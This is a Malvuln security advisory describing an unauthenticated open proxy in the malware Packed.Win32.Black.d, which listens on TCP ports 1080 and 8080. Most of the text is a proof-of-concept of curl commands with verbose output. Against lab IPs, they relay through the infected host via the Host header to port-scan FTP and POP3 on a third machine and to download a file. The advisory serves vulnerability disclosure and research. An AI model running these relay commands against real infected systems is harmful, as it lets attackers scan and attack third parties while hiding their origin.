Packed.Win32.Black.d Unauthenticated Open Proxy

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/3a36d7ab34b3241aa2a9072700e0cb7c.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Packed.Win32.Black.d  
Vulnerability: Unauthenticated Open Proxy  
Description: The malware listens on TCP ports 1080 and 8080 and drops a hidden executable named "Hacker.com.cn.exe" under Windows dir" that runs with SYSTEM integrity. Third-party adversaries who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host. The relay does not require authentication or any special User-agent check and leverages the HTTP Host header in the request to connect to third-party systems.  
Type: PE32  
MD5: 3a36d7ab34b3241aa2a9072700e0cb7c  
Vuln ID: MVID-2021-0201  
Dropped files:   
Disclosure: 05/04/2021  
  
Exploit/PoC:  
Port scan FTP 21)  
  
curl http://192.168.88.127:8080 -H "Host: 192.168.88.129:21" -v  
Rebuilt URL to: http://192.168.88.127:8080/  
Trying 192.168.88.127...  
TCP_NODELAY set  
Connected to 192.168.88.127 (192.168.88.127) port 8080 (#0)  
GET / HTTP/1.1  
Host: 192.168.88.129:21  
User-Agent: curl/7.55.1  
Accept: */*  
  
220 INetSim FTP Service ready.  
500 Unknown command.  
  
Port scan POP3 port 110)  
  
curl http://192.168.88.127:8080 -H "Host: 192.168.88.129:110" -v  
Rebuilt URL to: http://192.168.88.127:8080/  
Trying 192.168.88.127...  
TCP_NODELAY set  
Connected to 192.168.88.127 (192.168.88.127) port 8080 (#0)  
GET / HTTP/1.1  
Host: 192.168.88.129:110  
User-Agent: curl/7.55.1  
Accept: */*  
  
+OK INetSim POP3 Server ready <5073.1619409936@pop3host>  
-ERR Unknown command.  
  
Download files)  
  
curl http://192.168.88.127:8080/DOOM.exe -H "Host: 192.168.88.129" -v --output DOOM.exe  
Trying 192.168.88.127...  
TCP_NODELAY set  
% Total % Received % Xferd Average Speed Time Time Time Current  
Dload Upload Total Spent Left Speed  
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Connected to 192.168.88.127 (192.168.88.127) port 8080 (#0)  
GET /DOOM.exe HTTP/1.1  
Host: 192.168.88.129  
User-Agent: curl/7.55.1  
Accept: */*  
  
HTTP 1.0, assume close after body  
HTTP/1.0 200 OK  
Server: SimpleHTTP/0.6 Python/2.7.6  
Date: Mon, 26 Apr 2021 04:09:39 GMT  
Content-type: application/x-msdos-program  
Content-Length: 103533  
Last-Modified: Sat, 03 Aug 2019 04:57:12 GMT  
  
{ [78487 bytes data]  
75 101k 75 78487 0 0 78487 0 0:00:01 0:00:01 --:--:-- 72807* transfer closed with 25046 bytes remaining to read  
75 101k 75 78487 0 0 78487 0 0:00:01 0:00:01 --:--:-- 69766  
* Closing connection 0  
  
  
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